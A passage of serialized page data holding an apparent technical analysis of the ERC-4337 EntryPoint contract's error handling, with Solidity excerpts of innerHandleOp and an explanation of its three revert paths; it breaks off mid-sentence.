",{"type":22,"tag":101,"props":108525,"children":108526},{"style":166},[108527],{"type":27,"value":25594},{"type":22,"tag":101,"props":108529,"children":108530},{"style":926},[108531],{"type":27,"value":44958},{"type":22,"tag":101,"props":108533,"children":108534},{"style":120},[108535],{"type":27,"value":980},{"type":22,"tag":101,"props":108537,"children":108538},{"style":926},[108539],{"type":27,"value":108540},"gas",{"type":22,"tag":101,"props":108542,"children":108543},{"style":120},[108544],{"type":27,"value":1147},{"type":22,"tag":101,"props":108546,"children":108547},{"style":114},[108548],{"type":27,"value":36637},{"type":22,"tag":101,"props":108550,"children":108551},{"style":120},[108552],{"type":27,"value":1147},{"type":22,"tag":101,"props":108554,"children":108555},{"style":1544},[108556],{"type":27,"value":8065},{"type":22,"tag":101,"props":108558,"children":108559},{"style":120},[108560],{"type":27,"value":758},{"type":22,"tag":101,"props":108562,"children":108563},{"style":926},[108564],{"type":27,"value":13643},{"type":22,"tag":101,"props":108566,"children":108567},{"style":120},[108568],{"type":27,"value":108569},"(innerCall, ",{"type":22,"tag":101,"props":108571,"children":108572},{"style":1544},[108573],{"type":27,"value":108574},"0x20",{"type":22,"tag":101,"props":108576,"children":108577},{"style":120},[108578],{"type":27,"value":1099},{"type":22,"tag":101,"props":108580,"children":108581},{"style":926},[108582],{"type":27,"value":108583},"mload",{"type":22,"tag":101,"props":108585,"children":108586},{"style":120},[108587],{"type":27,"value":108588},"(innerCall), ",{"type":22,"tag":101,"props":108590,"children":108591},{"style":1544},[108592],{"type":27,"value":8065},{"type":22,"tag":101,"props":108594,"children":108595},{"style":120},[108596],{"type":27,"value":758},{"type":22,"tag":101,"props":108598,"children":108599},{"style":1544},[108600],{"type":27,"value":64344},{"type":22,"tag":101,"props":108602,"children":108603},{"style":120},[108604],{"type":27,"value":2510},{"type":22,"tag":101,"props":108606,"children":108607},{"class":103,"line":7799},[108608,108613,108617,108622,108626,108630],{"type":22,"tag":101,"props":108609,"children":108610},{"style":120},[108611],{"type":27,"value":108612}," collected ",{"type":22,"tag":101,"props":108614,"children":108615},{"style":166},[108616],{"type":27,"value":25594},{"type":22,"tag":101,"props":108618,"children":108619},{"style":926},[108620],{"type":27,"value":108621}," mload",{"type":22,"tag":101,"props":108623,"children":108624},{"style":120},[108625],{"type":27,"value":980},{"type":22,"tag":101,"props":108627,"children":108628},{"style":1544},[108629],{"type":27,"value":8065},{"type":22,"tag":101,"props":108631,"children":108632},{"style":120},[108633],{"type":27,"value":2510},{"type":22,"tag":101,"props":108635,"children":108636},{"class":103,"line":7829},[108637],{"type":22,"tag":101,"props":108638,"children":108639},{"style":120},[108640],{"type":27,"value":62882},{"type":22,"tag":101,"props":108642,"children":108643},{"class":103,"line":7837},[108644,108649],{"type":22,"tag":101,"props":108645,"children":108646},{"style":926},[108647],{"type":27,"value":108648}," _restoreFreePtr",{"type":22,"tag":101,"props":108650,"children":108651},{"style":120},[108652],{"type":27,"value":108653},"(saveFreePtr);\n",{"type":22,"tag":101,"props":108655,"children":108656},{"class":103,"line":7868},[108657],{"type":22,"tag":101,"props":108658,"children":108659},{"style":120},[108660],{"type":27,"value":2398},{"type":22,"tag":101,"props":108662,"children":108663},{"class":103,"line":7876},[108664,108668,108672,108676],{"type":22,"tag":101,"props":108665,"children":108666},{"style":3595},[108667],{"type":27,"value":7312},{"type":22,"tag":101,"props":108669,"children":108670},{"style":120},[108671],{"type":27,"value":3603},{"type":22,"tag":101,"props":108673,"children":108674},{"style":166},[108675],{"type":27,"value":2109},{"type":22,"tag":101,"props":108677,"children":108678},{"style":120},[108679],{"type":27,"value":108680},"success) {\n",{"type":22,"tag":101,"props":108682,"children":108683},{"class":103,"line":7936},[108684],{"type":22,"tag":101,"props":108685,"children":108686},{"style":120},[108687],{"type":27,"value":108308},{"type":22,"tag":101,"props":108689,"children":108690},{"class":103,"line":13054},[108691,108695,108700,108704],{"type":22,"tag":101,"props":108692,"children":108693},{"style":3595},[108694],{"type":27,"value":62798},{"type":22,"tag":101,"props":108696,"children":108697},{"style":120},[108698],{"type":27,"value":108699}," (innerRevertCode ",{"type":22,"tag":101,"props":108701,"children":108702},{"style":166},[108703],{"type":27,"value":4340},{"type":22,"tag":101,"props":108705,"children":108706},{"style":120},[108707],{"type":27,"value":108708}," INNER_OUT_OF_GAS) {\n",{"type":22,"tag":101,"props":108710,"children":108711},{"class":103,"line":13072},[108712],{"type":22,"tag":101,"props":108713,"children":108714},{"style":2215},[108715],{"type":27,"value":108716}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":22,"tag":101,"props":108718,"children":108719},{"class":103,"line":13117},[108720],{"type":22,"tag":101,"props":108721,"children":108722},{"style":2215},[108723],{"type":27,"value":108724}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":22,"tag":101,"props":108726,"children":108727},{"class":103,"line":13223},[108728,108733,108738,108743,108748],{"type":22,"tag":101,"props":108729,"children":108730},{"style":3595},[108731],{"type":27,"value":108732}," revert",{"type":22,"tag":101,"props":108734,"children":108735},{"style":926},[108736],{"type":27,"value":108737}," FailedOp",{"type":22,"tag":101,"props":108739,"children":108740},{"style":120},[108741],{"type":27,"value":108742},"(opIndex, ",{"type":22,"tag":101,"props":108744,"children":108745},{"style":6476},[108746],{"type":27,"value":108747},"\"AA95 out of gas\"",{"type":22,"tag":101,"props":108749,"children":108750},{"style":120},[108751],{"type":27,"value":994},{"type":22,"tag":101,"props":108753,"children":108754},{"class":103,"line":27496},[108755,108759,108763,108767,108771,108775],{"type":22,"tag":101,"props":108756,"children":108757},{"style":120},[108758],{"type":27,"value":74099},{"type":22,"tag":101,"props":108760,"children":108761},{"style":3595},[108762],{"type":27,"value":7354},{"type":22,"tag":101,"props":108764,"children":108765},{"style":3595},[108766],{"type":27,"value":19786},{"type":22,"tag":101,"props":108768,"children":108769},{"style":120},[108770],{"type":27,"value":108699},{"type":22,"tag":101,"props":108772,"children":108773},{"style":166},[108774],{"type":27,"value":4340},{"type":22,"tag":101,"props":108776,"children":108777},{"style":120},[108778],{"type":27,"value":108779}," INNER_REVERT_LOW_PREFUND) {\n",{"type":22,"tag":101,"props":108781,"children":108782},{"class":103,"line":27531},[108783],{"type":22,"tag":101,"props":108784,"children":108785},{"style":2215},[108786],{"type":27,"value":108787}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":22,"tag":101,"props":108789,"children":108790},{"class":103,"line":27539},[108791,108795,108800,108804,108809,108813,108818,108822,108826],{"type":22,"tag":101,"props":108792,"children":108793},{"style":114},[108794],{"type":27,"value":106967},{"type":22,"tag":101,"props":108796,"children":108797},{"style":120},[108798],{"type":27,"value":108799}," actualGas ",{"type":22,"tag":101,"props":108801,"children":108802},{"style":166},[108803],{"type":27,"value":1511},{"type":22,"tag":101,"props":108805,"children":108806},{"style":120},[108807],{"type":27,"value":108808}," preGas ",{"type":22,"tag":101,"props":108810,"children":108811},{"style":166},[108812],{"type":27,"value":8372},{"type":22,"tag":101,"props":108814,"children":108815},{"style":108},[108816],{"type":27,"value":108817}," gasleft",{"type":22,"tag":101,"props":108819,"children":108820},{"style":120},[108821],{"type":27,"value":18045},{"type":22,"tag":101,"props":108823,"children":108824},{"style":166},[108825],{"type":27,"value":8426},{"type":22,"tag":101,"props":108827,"children":108828},{"style":120},[108829],{"type":27,"value":108830}," opInfo.preOpGas;\n",{"type":22,"tag":101,"props":108832,"children":108833},{"class":103,"line":27547},[108834,108838,108842,108846],{"type":22,"tag":101,"props":108835,"children":108836},{"style":114},[108837],{"type":27,"value":106967},{"type":22,"tag":101,"props":108839,"children":108840},{"style":120},[108841],{"type":27,"value":107614},{"type":22,"tag":101,"props":108843,"children":108844},{"style":166},[108845],{"type":27,"value":1511},{"type":22,"tag":101,"props":108847,"children":108848},{"style":120},[108849],{"type":27,"value":108850}," opInfo.prefund;\n",{"type":22,"tag":101,"props":108852,"children":108853},{"class":103,"line":27556},[108854,108859],{"type":22,"tag":101,"props":108855,"children":108856},{"style":926},[108857],{"type":27,"value":108858}," _emitPrefundTooLow",{"type":22,"tag":101,"props":108860,"children":108861},{"style":120},[108862],{"type":27,"value":108863},"(opInfo);\n",{"type":22,"tag":101,"props":108865,"children":108866},{"class":103,"line":27598},[108867,108872,108877,108881],{"type":22,"tag":101,"props":108868,"children":108869},{"style":926},[108870],{"type":27,"value":108871}," _emitUserOperationEvent",{"type":22,"tag":101,"props":108873,"children":108874},{"style":120},[108875],{"type":27,"value":108876},"(opInfo, ",{"type":22,"tag":101,"props":108878,"children":108879},{"style":108},[108880],{"type":27,"value":5644},{"type":22,"tag":101,"props":108882,"children":108883},{"style":120},[108884],{"type":27,"value":108885},", actualGasCost, actualGas);\n",{"type":22,"tag":101,"props":108887,"children":108888},{"class":103,"line":27631},[108889,108893,108897],{"type":22,"tag":101,"props":108890,"children":108891},{"style":120},[108892],{"type":27,"value":108612},{"type":22,"tag":101,"props":108894,"children":108895},{"style":166},[108896],{"type":27,"value":1511},{"type":22,"tag":101,"props":108898,"children":108899},{"style":120},[108900],{"type":27,"value":108901}," actualGasCost;\n",{"type":22,"tag":101,"props":108903,"children":108904},{"class":103,"line":27639},[108905,108909,108913],{"type":22,"tag":101,"props":108906,"children":108907},{"style":120},[108908],{"type":27,"value":74099},{"type":22,"tag":101,"props":108910,"children":108911},{"style":3595},[108912],{"type":27,"value":7354},{"type":22,"tag":101,"props":108914,"children":108915},{"style":120},[108916],{"type":27,"value":154},{"type":22,"tag":101,"props":108918,"children":108919},{"class":103,"line":27647},[108920],{"type":22,"tag":101,"props":108921,"children":108922},{"style":120},[108923],{"type":27,"value":108308},{"type":22,"tag":101,"props":108925,"children":108926},{"class":103,"line":27656},[108927,108931,108935,108940],{"type":22,"tag":101,"props":108928,"children":108929},{"style":120},[108930],{"type":27,"value":108612},{"type":22,"tag":101,"props":108932,"children":108933},{"style":166},[108934],{"type":27,"value":1511},{"type":22,"tag":101,"props":108936,"children":108937},{"style":926},[108938],{"type":27,"value":108939}," _postExecution",{"type":22,"tag":101,"props":108941,"children":108942},{"style":120},[108943],{"type":27,"value":1850},{"type":22,"tag":101,"props":108945,"children":108946},{"class":103,"line":27732},[108947],{"type":22,"tag":101,"props":108948,"children":108949},{"style":120},[108950],{"type":27,"value":108951}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":22,"tag":101,"props":108953,"children":108954},{"class":103,"line":27765},[108955],{"type":22,"tag":101,"props":108956,"children":108957},{"style":120},[108958],{"type":27,"value":108959}," opInfo,\n",{"type":22,"tag":101,"props":108961,"children":108962},{"class":103,"line":27773},[108963],{"type":22,"tag":101,"props":108964,"children":108965},{"style":120},[108966],{"type":27,"value":108967}," context,\n",{"type":22,"tag":101,"props":108969,"children":108970},{"class":103,"line":27781},[108971],{"type":22,"tag":101,"props":108972,"children":108973},{"style":120},[108974],{"type":27,"value":108975}," actualGas\n",{"type":22,"tag":101,"props":108977,"children":108978},{"class":103,"line":27818},[108979],{"type":22,"tag":101,"props":108980,"children":108981},{"style":120},[108982],{"type":27,"value":108983}," );\n",{"type":22,"tag":101,"props":108985,"children":108986},{"class":103,"line":27831},[108987],{"type":22,"tag":101,"props":108988,"children":108989},{"style":120},[108990],{"type":27,"value":62882},{"type":22,"tag":101,"props":108992,"children":108993},{"class":103,"line":27844},[108994],{"type":22,"tag":101,"props":108995,"children":108996},{"style":120},[108997],{"type":27,"value":2398},{"type":22,"tag":101,"props":108999,"children":109000},{"class":103,"line":27857},[109001],{"type":22,"tag":101,"props":109002,"children":109003},{"style":120},[109004],{"type":27,"value":1734},{"type":22,"tag":23,"props":109006,"children":109007},{},[109008,109010,109015,109017,109023,109025,109031,109033,109039],{"type":27,"value":109009},"During execution, the ",{"type":22,"tag":30,"props":109011,"children":109013},{"className":109012},[],[109014],{"type":27,"value":105770},{"type":27,"value":109016}," contract makes a ",{"type":22,"tag":80,"props":109018,"children":109021},{"href":109019,"rel":109020},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[84],[109022],{"type":27,"value":42292},{"type":27,"value":109024}," to its own ",{"type":22,"tag":30,"props":109026,"children":109028},{"className":109027},[],[109029],{"type":27,"value":109030},"innerHandleOp",{"type":27,"value":109032}," function through a low-level ",{"type":22,"tag":30,"props":109034,"children":109036},{"className":109035},[],[109037],{"type":27,"value":109038},"call()",{"type":27,"value":109040},". This is done to create a new call context for executing the user operation.",{"type":22,"tag":23,"props":109042,"children":109043},{},[109044,109046,109052,109053,109058,109060,109067,109069,109075],{"type":27,"value":109045},"If this call fails (when ",{"type":22,"tag":30,"props":109047,"children":109049},{"className":109048},[],[109050],{"type":27,"value":109051},"success",{"type":27,"value":78},{"type":22,"tag":30,"props":109054,"children":109056},{"className":109055},[],[109057],{"type":27,"value":5644},{"type":27,"value":109059},"), the code enters an ",{"type":22,"tag":80,"props":109061,"children":109064},{"href":109062,"rel":109063},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[84],[109065],{"type":27,"value":109066},"error handling",{"type":27,"value":109068}," flow that checks the ",{"type":22,"tag":30,"props":109070,"children":109072},{"className":109071},[],[109073],{"type":27,"value":109074},"innerRevertCode",{"type":27,"value":109076},". There are three possible paths:",{"type":22,"tag":6828,"props":109078,"children":109079},{},[109080,109104,109122],{"type":22,"tag":6832,"props":109081,"children":109082},{},[109083,109084,109089,109090,109096,109098,109103],{"type":27,"value":11493},{"type":22,"tag":30,"props":109085,"children":109087},{"className":109086},[],[109088],{"type":27,"value":109074},{"type":27,"value":78},{"type":22,"tag":30,"props":109091,"children":109093},{"className":109092},[],[109094],{"type":27,"value":109095},"INNER_OUT_OF_GAS",{"type":27,"value":109097},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":22,"tag":30,"props":109099,"children":109101},{"className":109100},[],[109102],{"type":27,"value":108747},{"type":27,"value":231},{"type":22,"tag":6832,"props":109105,"children":109106},{},[109107,109108,109113,109114,109120],{"type":27,"value":11493},{"type":22,"tag":30,"props":109109,"children":109111},{"className":109110},[],[109112],{"type":27,"value":109074},{"type":27,"value":78},{"type":22,"tag":30,"props":109115,"children":109117},{"className":109116},[],[109118],{"type":27,"value":109119},"INNER_REVERT_LOW_PREFUND",{"type":27,"value":109121},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":22,"tag":6832,"props":109123,"children":109124},{},[109125,109127,109133,109135,109141],{"type":27,"value":109126},"For any other revert reason, the code will still call ",{"type":22,"tag":30,"props":109128,"children":109130},{"className":109129},[],[109131],{"type":27,"value":109132},"_postExecution()",{"type":27,"value":109134}," but with ",{"type":22,"tag":30,"props":109136,"children":109138},{"className":109137},[],[109139],{"type":27,"value":109140},"PostOpMode.postOpReverted",{"type":27,"value":109142},". This ensures proper cleanup happens even on failure.",{"type":22,"tag":23,"props":109144,"children":109145},{},[109146,109148,109153,109155,109160,109162,109167,109169,109174],{"type":27,"value":109147},"We're particularly interested in the third error path, where ",{"type":22,"tag":30,"props":109149,"children":109151},{"className":109150},[],[109152],{"type":27,"value":109074},{"type":27,"value":109154}," is neither ",{"type":22,"tag":30,"props":109156,"children":109158},{"className":109157},[],[109159],{"type":27,"value":109095},{"type":27,"value":109161}," nor ",{"type":22,"tag":30,"props":109163,"children":109165},{"className":109164},[],[109166],{"type":27,"value":109119},{"type":27,"value":109168},". To understand this case better, let's examine how ",{"type":22,"tag":30,"props":109170,"children":109172},{"className":109171},[],[109173],{"type":27,"value":109030},{"type":27,"value":109175}," works.",{"type":22,"tag":91,"props":109177,"children":109179},{"className":8520,"code":109178,"language":8519,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[109180],{"type":22,"tag":30,"props":109181,"children":109182},{"__ignoreMap":7},[109183,109199,109220,109240,109256,109289,109296,109313,109337,109377,109396,109421,109455,109479,109496,109504,109512,109520,109528,109536,109543,109556,109573,109580,109587,109594,109605,109644,109660,109667],{"type":22,"tag":101,"props":109184,"children":109185},{"class":103,"line":104},[109186,109190,109195],{"type":22,"tag":101,"props":109187,"children":109188},{"style":108},[109189],{"type":27,"value":93338},{"type":22,"tag":101,"props":109191,"children":109192},{"style":926},[109193],{"type":27,"value":109194}," innerHandleOp",{"type":22,"tag":101,"props":109196,"children":109197},{"style":120},[109198],{"type":27,"value":1850},{"type":22,"tag":101,"props":109200,"children":109201},{"class":103,"line":157},[109202,109207,109211,109216],{"type":22,"tag":101,"props":109203,"children":109204},{"style":114},[109205],{"type":27,"value":109206}," bytes",{"type":22,"tag":101,"props":109208,"children":109209},{"style":108},[109210],{"type":27,"value":106587},{"type":22,"tag":101,"props":109212,"children":109213},{"style":126},[109214],{"type":27,"value":109215}," callData",{"type":22,"tag":101,"props":109217,"children":109218},{"style":120},[109219],{"type":27,"value":179},{"type":22,"tag":101,"props":109221,"children":109222},{"class":103,"line":182},[109223,109227,109231,109236],{"type":22,"tag":101,"props":109224,"children":109225},{"style":108},[109226],{"type":27,"value":108247},{"type":22,"tag":101,"props":109228,"children":109229},{"style":108},[109230],{"type":27,"value":106587},{"type":22,"tag":101,"props":109232,"children":109233},{"style":126},[109234],{"type":27,"value":109235}," opInfo",{"type":22,"tag":101,"props":109237,"children":109238},{"style":120},[109239],{"type":27,"value":179},{"type":22,"tag":101,"props":109241,"children":109242},{"class":103,"line":367},[109243,109247,109251],{"type":22,"tag":101,"props":109244,"children":109245},{"style":114},[109246],{"type":27,"value":109206},{"type":22,"tag":101,"props":109248,"children":109249},{"style":108},[109250],{"type":27,"value":106519},{"type":22,"tag":101,"props":109252,"children":109253},{"style":126},[109254],{"type":27,"value":109255}," context\n",{"type":22,"tag":101,"props":109257,"children":109258},{"class":103,"line":398},[109259,109264,109269,109273,109277,109281,109285],{"type":22,"tag":101,"props":109260,"children":109261},{"style":120},[109262],{"type":27,"value":109263}," ) ",{"type":22,"tag":101,"props":109265,"children":109266},{"style":108},[109267],{"type":27,"value":109268},"external",{"type":22,"tag":101,"props":109270,"children":109271},{"style":3595},[109272],{"type":27,"value":79500},{"type":22,"tag":101,"props":109274,"children":109275},{"style":120},[109276],{"type":27,"value":3603},{"type":22,"tag":101,"props":109278,"children":109279},{"style":114},[109280],{"type":27,"value":50164},{"type":22,"tag":101,"props":109282,"children":109283},{"style":126},[109284],{"type":27,"value":107328},{"type":22,"tag":101,"props":109286,"children":109287},{"style":120},[109288],{"type":27,"value":1463},{"type":22,"tag":101,"props":109290,"children":109291},{"class":103,"line":428},[109292],{"type":22,"tag":101,"props":109293,"children":109294},{"style":120},[109295],{"type":27,"value":108308},{"type":22,"tag":101,"props":109297,"children":109298},{"class":103,"line":997},[109299,109304,109308],{"type":22,"tag":101,"props":109300,"children":109301},{"style":120},[109302],{"type":27,"value":109303}," IPaymaster.PostOpMode mode ",{"type":22,"tag":101,"props":109305,"children":109306},{"style":166},[109307],{"type":27,"value":1511},{"type":22,"tag":101,"props":109309,"children":109310},{"style":120},[109311],{"type":27,"value":109312}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":22,"tag":101,"props":109314,"children":109315},{"class":103,"line":1032},[109316,109320,109325,109329,109333],{"type":22,"tag":101,"props":109317,"children":109318},{"style":3595},[109319],{"type":27,"value":7312},{"type":22,"tag":101,"props":109321,"children":109322},{"style":120},[109323],{"type":27,"value":109324}," (callData.length ",{"type":22,"tag":101,"props":109326,"children":109327},{"style":166},[109328],{"type":27,"value":14467},{"type":22,"tag":101,"props":109330,"children":109331},{"style":1544},[109332],{"type":27,"value":1547},{"type":22,"tag":101,"props":109334,"children":109335},{"style":120},[109336],{"type":27,"value":1463},{"type":22,"tag":101,"props":109338,"children":109339},{"class":103,"line":1063},[109340,109345,109350,109354,109359,109363,109368,109372],{"type":22,"tag":101,"props":109341,"children":109342},{"style":114},[109343],{"type":27,"value":109344}," bool",{"type":22,"tag":101,"props":109346,"children":109347},{"style":120},[109348],{"type":27,"value":109349}," success ",{"type":22,"tag":101,"props":109351,"children":109352},{"style":166},[109353],{"type":27,"value":1511},{"type":22,"tag":101,"props":109355,"children":109356},{"style":120},[109357],{"type":27,"value":109358}," Exec.",{"type":22,"tag":101,"props":109360,"children":109361},{"style":926},[109362],{"type":27,"value":42292},{"type":22,"tag":101,"props":109364,"children":109365},{"style":120},[109366],{"type":27,"value":109367},"(mUserOp.sender, ",{"type":22,"tag":101,"props":109369,"children":109370},{"style":1544},[109371],{"type":27,"value":8065},{"type":22,"tag":101,"props":109373,"children":109374},{"style":120},[109375],{"type":27,"value":109376},", callData, callGasLimit);\n",{"type":22,"tag":101,"props":109378,"children":109379},{"class":103,"line":1071},[109380,109384,109388,109392],{"type":22,"tag":101,"props":109381,"children":109382},{"style":3595},[109383],{"type":27,"value":62798},{"type":22,"tag":101,"props":109385,"children":109386},{"style":120},[109387],{"type":27,"value":3603},{"type":22,"tag":101,"props":109389,"children":109390},{"style":166},[109391],{"type":27,"value":2109},{"type":22,"tag":101,"props":109393,"children":109394},{"style":120},[109395],{"type":27,"value":108680},{"type":22,"tag":101,"props":109397,"children":109398},{"class":103,"line":1110},[109399,109403,109408,109412,109417],{"type":22,"tag":101,"props":109400,"children":109401},{"style":114},[109402],{"type":27,"value":106967},{"type":22,"tag":101,"props":109404,"children":109405},{"style":120},[109406],{"type":27,"value":109407}," freePtr ",{"type":22,"tag":101,"props":109409,"children":109410},{"style":166},[109411],{"type":27,"value":1511},{"type":22,"tag":101,"props":109413,"children":109414},{"style":926},[109415],{"type":27,"value":109416}," _getFreePtr",{"type":22,"tag":101,"props":109418,"children":109419},{"style":120},[109420],{"type":27,"value":934},{"type":22,"tag":101,"props":109422,"children":109423},{"class":103,"line":1118},[109424,109428,109432,109437,109441,109445,109450],{"type":22,"tag":101,"props":109425,"children":109426},{"style":114},[109427],{"type":27,"value":108364},{"type":22,"tag":101,"props":109429,"children":109430},{"style":108},[109431],{"type":27,"value":106587},{"type":22,"tag":101,"props":109433,"children":109434},{"style":120},[109435],{"type":27,"value":109436}," result ",{"type":22,"tag":101,"props":109438,"children":109439},{"style":166},[109440],{"type":27,"value":1511},{"type":22,"tag":101,"props":109442,"children":109443},{"style":120},[109444],{"type":27,"value":109358},{"type":22,"tag":101,"props":109446,"children":109447},{"style":926},[109448],{"type":27,"value":109449},"getReturnData",{"type":22,"tag":101,"props":109451,"children":109452},{"style":120},[109453],{"type":27,"value":109454},"(REVERT_REASON_MAX_LEN);\n",{"type":22,"tag":101,"props":109456,"children":109457},{"class":103,"line":1158},[109458,109462,109467,109471,109475],{"type":22,"tag":101,"props":109459,"children":109460},{"style":3595},[109461],{"type":27,"value":107027},{"type":22,"tag":101,"props":109463,"children":109464},{"style":120},[109465],{"type":27,"value":109466}," (result.length ",{"type":22,"tag":101,"props":109468,"children":109469},{"style":166},[109470],{"type":27,"value":14467},{"type":22,"tag":101,"props":109472,"children":109473},{"style":1544},[109474],{"type":27,"value":1547},{"type":22,"tag":101,"props":109476,"children":109477},{"style":120},[109478],{"type":27,"value":1463},{"type":22,"tag":101,"props":109480,"children":109481},{"class":103,"line":1166},[109482,109487,109492],{"type":22,"tag":101,"props":109483,"children":109484},{"style":3595},[109485],{"type":27,"value":109486}," emit",{"type":22,"tag":101,"props":109488,"children":109489},{"style":926},[109490],{"type":27,"value":109491}," UserOperationRevertReason",{"type":22,"tag":101,"props":109493,"children":109494},{"style":120},[109495],{"type":27,"value":1850},{"type":22,"tag":101,"props":109497,"children":109498},{"class":103,"line":1215},[109499],{"type":22,"tag":101,"props":109500,"children":109501},{"style":120},[109502],{"type":27,"value":109503}," opInfo.userOpHash,\n",{"type":22,"tag":101,"props":109505,"children":109506},{"class":103,"line":2425},[109507],{"type":22,"tag":101,"props":109508,"children":109509},{"style":120},[109510],{"type":27,"value":109511}," mUserOp.sender,\n",{"type":22,"tag":101,"props":109513,"children":109514},{"class":103,"line":5417},[109515],{"type":22,"tag":101,"props":109516,"children":109517},{"style":120},[109518],{"type":27,"value":109519}," mUserOp.nonce,\n",{"type":22,"tag":101,"props":109521,"children":109522},{"class":103,"line":7714},[109523],{"type":22,"tag":101,"props":109524,"children":109525},{"style":120},[109526],{"type":27,"value":109527}," result\n",{"type":22,"tag":101,"props":109529,"children":109530},{"class":103,"line":7723},[109531],{"type":22,"tag":101,"props":109532,"children":109533},{"style":120},[109534],{"type":27,"value":109535}," );\n",{"type":22,"tag":101,"props":109537,"children":109538},{"class":103,"line":7791},[109539],{"type":22,"tag":101,"props":109540,"children":109541},{"style":120},[109542],{"type":27,"value":74576},{"type":22,"tag":101,"props":109544,"children":109545},{"class":103,"line":7799},[109546,109551],{"type":22,"tag":101,"props":109547,"children":109548},{"style":926},[109549],{"type":27,"value":109550}," _restoreFreePtr",{"type":22,"tag":101,"props":109552,"children":109553},{"style":120},[109554],{"type":27,"value":109555},"(freePtr);\n",{"type":22,"tag":101,"props":109557,"children":109558},{"class":103,"line":7829},[109559,109564,109568],{"type":22,"tag":101,"props":109560,"children":109561},{"style":120},[109562],{"type":27,"value":109563}," mode ",{"type":22,"tag":101,"props":109565,"children":109566},{"style":166},[109567],{"type":27,"value":1511},{"type":22,"tag":101,"props":109569,"children":109570},{"style":120},[109571],{"type":27,"value":109572}," IPaymaster.PostOpMode.opReverted;\n",{"type":22,"tag":101,"props":109574,"children":109575},{"class":103,"line":7837},[109576],{"type":22,"tag":101,"props":109577,"children":109578},{"style":120},[109579],{"type":27,"value":62882},{"type":22,"tag":101,"props":109581,"children":109582},{"class":103,"line":7868},[109583],{"type":22,"tag":101,"props":109584,"children":109585},{"style":120},[109586],{"type":27,"value":2398},{"type":22,"tag":101,"props":109588,"children":109589},{"class":103,"line":7876},[109590],{"type":22,"tag":101,"props":109591,"children":109592},{"emptyLinePlaceholder":15},[109593],{"type":27,"value":1581},{"type":22,"tag":101,"props":109595,"children":109596},{"class":103,"line":7936},[109597,109601],{"type":22,"tag":101,"props":109598,"children":109599},{"style":3595},[109600],{"type":27,"value":106623},{"type":22,"tag":101,"props":109602,"children":109603},{"style":120},[109604],{"type":27,"value":154},{"type":22,"tag":101,"props":109606,"children":109607},{"class":103,"line":13054},[109608,109612,109616,109620,109624,109628,109632,109636,109640],{"type":22,"tag":101,"props":109609,"children":109610},{"style":114},[109611],{"type":27,"value":106635},{"type":22,"tag":101,"props":109613,"children":109614},{"style":120},[109615],{"type":27,"value":108799},{"type":22,"tag":101,"props":109617,"children":109618},{"style":166},[109619],{"type":27,"value":1511},{"type":22,"tag":101,"props":109621,"children":109622},{"style":120},[109623],{"type":27,"value":108808},{"type":22,"tag":101,"props":109625,"children":109626},{"style":166},[109627],{"type":27,"value":8372},{"type":22,"tag":101,"props":109629,"children":109630},{"style":108},[109631],{"type":27,"value":108817},{"type":22,"tag":101,"props":109633,"children":109634},{"style":120},[109635],{"type":27,"value":18045},{"type":22,"tag":101,"props":109637,"children":109638},{"style":166},[109639],{"type":27,"value":8426},{"type":22,"tag":101,"props":109641,"children":109642},{"style":120},[109643],{"type":27,"value":108830},{"type":22,"tag":101,"props":109645,"children":109646},{"class":103,"line":13072},[109647,109651,109655],{"type":22,"tag":101,"props":109648,"children":109649},{"style":3595},[109650],{"type":27,"value":82583},{"type":22,"tag":101,"props":109652,"children":109653},{"style":926},[109654],{"type":27,"value":108939},{"type":22,"tag":101,"props":109656,"children":109657},{"style":120},[109658],{"type":27,"value":109659},"(mode, opInfo, context, actualGas);\n",{"type":22,"tag":101,"props":109661,"children":109662},{"class":103,"line":13117},[109663],{"type":22,"tag":101,"props":109664,"children":109665},{"style":120},[109666],{"type":27,"value":2398},{"type":22,"tag":101,"props":109668,"children":109669},{"class":103,"line":13223},[109670],{"type":22,"tag":101,"props":109671,"children":109672},{"style":120},[109673],{"type":27,"value":1734},{"type":22,"tag":23,"props":109675,"children":109676},{},[109677,109679,109684,109686,109691,109693,109699,109701,109707,109709,109714,109716,109726],{"type":27,"value":109678},"We observe that, in the happy path, ",{"type":22,"tag":30,"props":109680,"children":109682},{"className":109681},[],[109683],{"type":27,"value":109030},{"type":27,"value":109685}," is expected to not only execute the actual ",{"type":22,"tag":30,"props":109687,"children":109689},{"className":109688},[],[109690],{"type":27,"value":105689},{"type":27,"value":109692}," call, but also call ",{"type":22,"tag":30,"props":109694,"children":109696},{"className":109695},[],[109697],{"type":27,"value":109698},"_postExecution",{"type":27,"value":109700},". This means that the third failure handling path, which passes ",{"type":22,"tag":30,"props":109702,"children":109704},{"className":109703},[],[109705],{"type":27,"value":109706},"postOpReverted",{"type":27,"value":109708}," as its mode, happens when something goes wrong with the ",{"type":22,"tag":30,"props":109710,"children":109712},{"className":109711},[],[109713],{"type":27,"value":109698},{"type":27,"value":109715}," call ",{"type":22,"tag":9370,"props":109717,"children":109718},{},[109719,109721],{"type":27,"value":109720},"inside 